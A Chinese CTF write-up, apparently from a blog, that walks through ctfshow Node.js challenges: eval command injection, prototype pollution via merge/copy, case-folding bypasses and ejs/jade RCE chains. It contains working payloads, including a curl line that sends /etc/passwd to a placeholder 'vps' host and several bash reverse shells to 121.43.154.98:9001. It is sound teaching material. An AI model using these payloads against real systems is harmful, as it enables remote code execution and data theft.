ctfshow--node.js漏洞
一些漏洞:
危险函数所导致的命令执行
eval()
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
简单例子:
main.js
var express = require("express");
var app = express();app.get('/eval',function(req,res){res.send(eval(req.query.q));//通过res.send()方法,可以把处理好的内容,发送给客户端:console.log(req.query.q);
})var server = app.listen(8888, function() {console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})
查看nodejs文档的child_process:http://nodejs.cn/api/child_process.html
漏洞利用:
Node.js中的child_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require(‘child_process’).exec(‘’);来进行调用。
弹计算器(windows):
/eval?q=require('child_process').exec('calc');
读取文件(linux):
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;
反弹shell(linux):
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果,直接调用会报错。
bash解释器:
(164条消息) 几种常见shell解释器(sh,bash,csh,tcsh,ash)以及bash的优点_难得 yx的博客-CSDN博客_sh解释器
类似命令
间隔两秒执行函数:
setInteval(some_function, 2000)
两秒后执行函数:
setTimeout(some_function, 2000);
some_function处就类似于eval函数的参数
输出HelloWorld:
Function(“console.log(‘HelloWolrd’)”){}
类似于php中的create_function
以上都可以导致命令执行
web335
/?eval=require('child_process').execSync('ls')
/?eval=require('child_process').execSync('cat fl00g.txt')
Node.js 原型污染漏洞
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__
1.prototype与 __ proto __
原型prototype
是类Foo
的一个属性,而所有用Foo
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法- 一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性
- 不同对象所生成的原型链如下(部分):
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> nullvar a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> nullfunction f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
2.JavaScript原型链继承
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name - 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name - 依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
3.原型链污染是什么
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
4.原型链污染原理
对于语句:
object[a][b] = value
如果可以控制a、b、value的值,将a设置为__ proto __,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
来看一个简单的例子:
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。
5.哪些情况下原型链会被污染?
merge(合并)操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)
原型链没有被污染
但改代码:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)
在JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
object3的b是从原型中获取到的,说明Object已经被污染了。
web338
{"__proto__":{"ctfshow":"36dboy"}}
javascript大小写特性
在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
字符"ı"、“ſ” 经过toUpperCase处理后结果为 “I”、“S”
对于toLowerCase():
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
ctfshow
user.js
中发现了账号密码
module.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};
ctfſhow
toUpperCase()
是把字符串转小写,因此用小写绕过即可。
ctfſhow
web334
var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
toUpperCase()
是把字符串转小写,所以用小写绕过
web335
f12看到/?eval=
,猜测是eval()函数,查了一下,可以利用child_process
的exec来执行系统命令。
/?eval=require('child_process').execSync('ls')
/?eval=require('child_process').execSync('cat fl00g.txt')
web336
法一:
补充:
__filename
__dirname
__filename
:返回当前模块文件被解析过后的绝对路径,
使用__filename
变量获取当前模块文件的带有完整绝对路径的文件名
__dirname
:返回当前模块文件解析过后所在的文件夹(目录)的绝对路径
使用__dirname
变量获得当前文件所在目录的完整目录名
所以可以利用__filename
来获得当然的模块文件路径:
然后读取文件:
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
发现过滤了exec和load。
用
?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
再打开文件获取flag
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()
法二:
利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件:
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')
web337
源码:
var express = require('express');
var router = express.Router();function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;
注意一下node.js中拼接的问题:
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
所以:像['a']+flag==='a'+flag
这样的,比如flag是flag{345}
,那么最后得到的都是aflag[345}
,因此这个也肯定成立:md5(['a']+flag)===md5('a'+flag)
,同时也满足a!==b
:
?a[a]=1&b[b]=1
web338
原型链污染
重点代码:
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }
});
主要是utils.copy(user,req.body);
是利用点
因为原型污染,secret
对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'
payload:
{"__proto__":{"ctfshow":"36dboy"}}
抓包传参;
web339
在api.js中:
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});
});
Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点。
先抓包访问/login,实现query值的覆盖,再访问/api来执行query的值。
刷新了靶机,再用反弹shell的值覆盖:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}
反弹成功:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0tCwbS7z-1652529599223)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220513164327860.png)]
flag在./routes/login.js里:
web340
login.js部分代码:
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'}); }
user对象套了两层,可以运行如下代码理解一下原理:
function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}
}var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;};
}payload = JSON.parse('{"__proto__":{"__proto__":{"query":true}}}')
copy(user.userinfo,payload)console.log('payload:')
console.log(payload) // { ['__proto__']: { ['__proto__']: { query: true } } }console.log('Object:')
console.log(user.query) // true
console.log(user.userinfo.query) // true
可以看到,当我们嵌套两层__proto__时,不管是user对象还是user.userinfo对象都存在query属性,并成功被赋值。而如果我们将payload改为:
JSON.parse('{"__proto__":{"query":true}}')
时,再运行代码会发现user.userinfo.query属性存在,但user.query为undefined。
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}}
弹出shell
web341
用的是web339的paylo不过要和web340一样嵌套一下。payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}}
web342
这次模板引擎改为了jade。
我们使用jade rce链构造payload:
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}}
在用burp发送之前要把请求头中的“Content-Type”改为"application/json"。
几个node模板引擎的原型链污染分析
web343
同web342
bodyParser.json(options)
中间件只会解析 json
web344
router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';console.log(req.url)if(req.url.match(/8c|2c|\,/ig)){res.end('111where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('222where is flag. :)');}});
过滤了逗号和逗号的url编码2C,“&”连接三个属性,NodeJS会自动拼接:
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
但还需要对属性进行url编码,payload:
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d
因为在get之前双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则。
ctfshow--node.js漏洞相关推荐
- ctfshow—Node.js漏洞总结
1 Js大小写绕过 ctfshow web334 下载源码 var findUser = function(name, password){return users.find(function(ite ...
- node/js 漏洞_6个可用于检查Node.js中漏洞的工具
node/js 漏洞 Vulnerabilities can exist in all products. The larger your software grows, the greater th ...
- ctfshow node.js专题
文章目录 web334 web335 web336 web337 web338 web339 web340 web341 web342.web343 web334 给了附件,然后进入后发现是一个登录框 ...
- 知名Node.js组件存在代码注入漏洞
喜欢就关注我们吧! 日前,一个被大量下载的 Node.js 组件被发现其含有一个高危的代码注入漏洞. 该漏洞被追踪为 CVE-2021-21315,影响了「systeminformation」npm ...
- node.js mysql防注入_避免Node.js中的命令行注入安全漏洞
在这篇文章中,我们将学习正确使用Node.js调用系统命令的方法,以避免常见的命令行注入漏洞. 我们经常使用的调用命令的方法是最简单的child_process.exec.它有很一个简单的使用模式;通 ...
- Node.js 修复4个漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Node.js 开发人员发布新版本,修复了四个漏洞. Node.js 是用于构建可扩展网络应用程序的流行 JavaScript 运行时环境.在这 ...
- Node.js TLSWrap 实现中的释放后使用漏洞分析
聚焦源代码安全,网罗国内外最新资讯! Node v14.11.0 版本的 TLS 实现中存在一个释放后使用漏洞. 当写入启用 TLS 的套接字时,node::StreamBase::Write 调用 ...
- GitHub 在热门 Node.js changelog 开源库Standard Version中发现 RCE 漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 上周,GitHub 安全实验室的研究员 Erik Krogh Kristensen 在 StandardVersion 中发现一个漏洞 ...
- 2019 年,19 种方法让自己成为更好的 Node.js 工程师
原文作者:Yoni Goldberg 译者:UC 国际研发 Jothy 写在最前:欢迎你来到"UC国际技术"公众号,我们将为大家提供与客户端.服务端.算法.测试.数据.前端等相关的 ...
最新文章
- 微信公众号token 验证
- 通知:正式迁移至新博客
- Bootstrap 简洁、直观、强悍、移动设备优先的前端开发框架,让web开发更迅速、简单。...
- outlook邮箱邮件大小限制_配置邮箱的邮件大小限制: Exchange 2013 帮助 | Microsoft Docs...
- React Native实现js调用安卓原生代码
- workbench出现“Unable to start the geometry editor”
- 在AX4.0中使用C#脚本的实现
- 热点账户高并发解决方案
- 单词吸血鬼源代码 二叉树操作
- iOS 关于接入海康视频SDK的步骤
- java 错误声音播放器_JavaME 声音播放器的使用
- Unity3D 中实现毛笔效果
- 237. 删除链表中的节点 (Delete Node in a Linked List)
- 电信近期有充值送红包的活动
- 尚医通项目150-170:预约挂号、微信支付功能
- 李开复微博数据分析--微博爬虫、数据挖掘、数据可视化(持续更新)
- 深度理解RNN的梯度消失和LSTM为什么能解决梯度消失
- 一次Linux系统被攻击的分析过程
- 《血族-迷失乐园篇》1、2初回限定…
- 【头歌】重生之我在py入门实训中(3): if条件语句
热门文章
- 自适应均衡器的研究与仿真设计
- Bert 论文中文翻译
- c++中fabs()和abs()的区别
- 抽象类和接口之间的关系
- ASTER GDEM V02(30m)、ASTER GDEM V03(30m)、TanDEM(90m)三种全球DEM数据的质量对比
- sqlserver函数多行数据合并成一行
- java二维数组添加数据_Java自学路线图
- MATLAB中CVX工具箱解决凸优化问题的基本知识——语法、变量声明、目标函数、约束条件、cvx编程错误及解决方法
- 软件测试工程师华为面经
- python工作任务流flow实时框架:prefect